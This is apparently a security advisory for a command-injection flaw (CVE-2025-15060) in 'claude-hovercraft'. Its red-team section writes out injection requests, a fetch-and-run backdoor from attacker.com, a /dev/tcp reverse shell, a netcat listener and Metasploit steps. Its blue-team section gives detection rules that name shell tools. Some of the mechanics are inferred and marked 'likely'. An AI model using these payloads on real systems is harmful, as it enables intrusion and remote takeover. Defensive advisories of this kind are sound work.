CVE-2025-15060

Executive Summary

CVE-2025-15060 is a critical unauthenticated remote code execution (RCE) vulnerability in the claude-hovercraft software. The flaw resides in the executeClaudeCode method, which fails to properly validate user-supplied strings before passing them to a system call. This allows an attacker to inject arbitrary operating system commands, leading to full compromise of the affected service. With a CVSS score of 9.8, no authentication required, and no patch currently available, this vulnerability poses an extreme risk to any deployment of claude-hovercraft.

Supply Chain & Package Security

This vulnerability is not associated with a standard package manager (NPM, PyPI, Go, Ruby) based on available data. However, the claude-hovercraft component may be distributed as a binary or container image. Organizations should verify the integrity of any downloaded claude-hovercraft artifacts and monitor for supply chain attacks that could embed this vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Full system control.
• Availability Impact: High (A:H) – Service disruption possible.

Threat Level: Critical. Immediate action required.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection (CWE-78) within the executeClaudeCode method of claude-hovercraft. The method likely accepts a string parameter intended to be a "Claude code" or similar identifier, but instead of sanitizing or validating the input, it concatenates it directly into a system command (e.g., Runtime.getRuntime().exec() in Java, subprocess.Popen() in Python, or system() in C/C++).

Attack Flow:

1. An attacker sends a crafted HTTP request to the vulnerable endpoint that invokes executeClaudeCode.
2. The attacker injects command separators (e.g., ;, |, &&, `) followed by malicious OS commands.
3. The application executes the entire string as a system command.
4. The attacker gains code execution in the context of the service account, typically with the privileges of the running service.

Example Injection: If the vulnerable call is executeClaudeCode("user_input"), an attacker might send:

valid_code; curl http://attacker.com/backdoor.sh | sh

This would execute the legitimate command (if any) and then download and execute a backdoor.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical secure implementation.

Vulnerable Code (Java-like pseudocode):

public void executeClaudeCode(String userInput) {
    String command = "claude-tool --code " + userInput;
    Runtime.getRuntime().exec(command);
}

Patched Code (Hypothetical):

public void executeClaudeCode(String userInput) {
    // Validate input: allow only alphanumeric and specific safe characters
    if (!userInput.matches("[a-zA-Z0-9_-]+")) {
        throw new IllegalArgumentException("Invalid input");
    }
    // Use ProcessBuilder to avoid shell injection
    ProcessBuilder pb = new ProcessBuilder("claude-tool", "--code", userInput);
    pb.start();
}

Key Differences:

• Input validation restricts allowed characters.
• ProcessBuilder (or equivalent) passes arguments as separate tokens, preventing shell interpretation of special characters.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: A Docker container running a vulnerable claude-hovercraft instance on port 8080.
• Attacker: Kali Linux with curl, ncat, and Metasploit.

Exploitation Steps:

1. Reconnaissance: Identify the vulnerable endpoint. Example: POST /api/executeClaudeCode with JSON body {"code": "test"}.
2. Test for Injection: Send a simple ping command to verify execution.

   curl -X POST http://target:8080/api/executeClaudeCode \
     -H "Content-Type: application/json" \
     -d '{"code": "test; ping -c 1 attacker.com"}'
   

3. Execute Reverse Shell: Use a command to spawn a reverse shell.

   curl -X POST http://target:8080/api/executeClaudeCode \
     -H "Content-Type: application/json" \
     -d '{"code": "test; bash -i >& /dev/tcp/attacker_ip/4444 0>&1"}'
   

4. Listener: On attacker machine:

   nc -lvnp 4444
   

Metasploit Module (if available):

use exploit/multi/http/claude_hovercraft_exec
set RHOSTS target
set RPORT 8080
set TARGETURI /api/executeClaudeCode
set PAYLOAD cmd/unix/reverse_bash
set LHOST attacker_ip
set LPORT 4444
exploit

Blue Team (Defensive)

Detection Steps:

1. Monitor Logs: Look for unusual command execution patterns in application logs, especially executeClaudeCode calls containing shell metacharacters (;, |, &, `).
2. Network Traffic: Detect outbound connections to unknown IPs on unusual ports (e.g., 4444) immediately following executeClaudeCode requests.
3. Process Monitoring: Alert on unexpected child processes spawned by the claude-hovercraft service (e.g., bash, curl, wget).

Honeypot Strategy: Deploy a decoy claude-hovercraft instance that logs all executeClaudeCode inputs and triggers alerts on any non-alphanumeric characters.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_15060_Command_Injection {
    meta:
        description = "Detects command injection attempts against claude-hovercraft executeClaudeCode"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-15060"
    strings:
        $endpoint = "executeClaudeCode" nocase
        $shell_meta1 = /[;&|`$()]/
        $shell_meta2 = /(\|\||&&)/
        $cmd_inject = /(curl|wget|bash|sh|nc|ncat|python|perl|ruby)/
    condition:
        $endpoint and ($shell_meta1 or $shell_meta2) and $cmd_inject
}

Sigma Rule

title: CVE-2025-15060 Command Injection in claude-hovercraft
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects command injection attempts against the executeClaudeCode endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'executeClaudeCode'
        cs-uri-query|re: '.*[;&|`$()].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in code names (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-15060 Command Injection in claude-hovercraft";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"executeClaudeCode"; http_uri;
    pcre:"/[;&|`$()]/";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Disconnect affected claude-hovercraft instances from the network until a patch is available.
2. Firewall: Block external access to the vulnerable endpoint (e.g., /api/executeClaudeCode) using WAF rules or network ACLs.
3. Input Validation: Implement strict input validation on the executeClaudeCode parameter, allowing only alphanumeric characters and hyphens/underscores.
4. Least Privilege: Run the claude-hovercraft service with the minimum necessary privileges (e.g., a dedicated low-privilege user).

Long-Term Fix:

• Apply the official patch once released by the vendor.
• Replace the vulnerable method with a secure implementation using parameterized system calls (e.g., ProcessBuilder in Java, subprocess.run with list arguments in Python).
• Conduct a full security audit of the application for similar injection flaws.

Workaround: If patching is not possible, disable the executeClaudeCode functionality entirely by removing or commenting out the endpoint in the application code.

Valters IT
Securing Digital Frontiers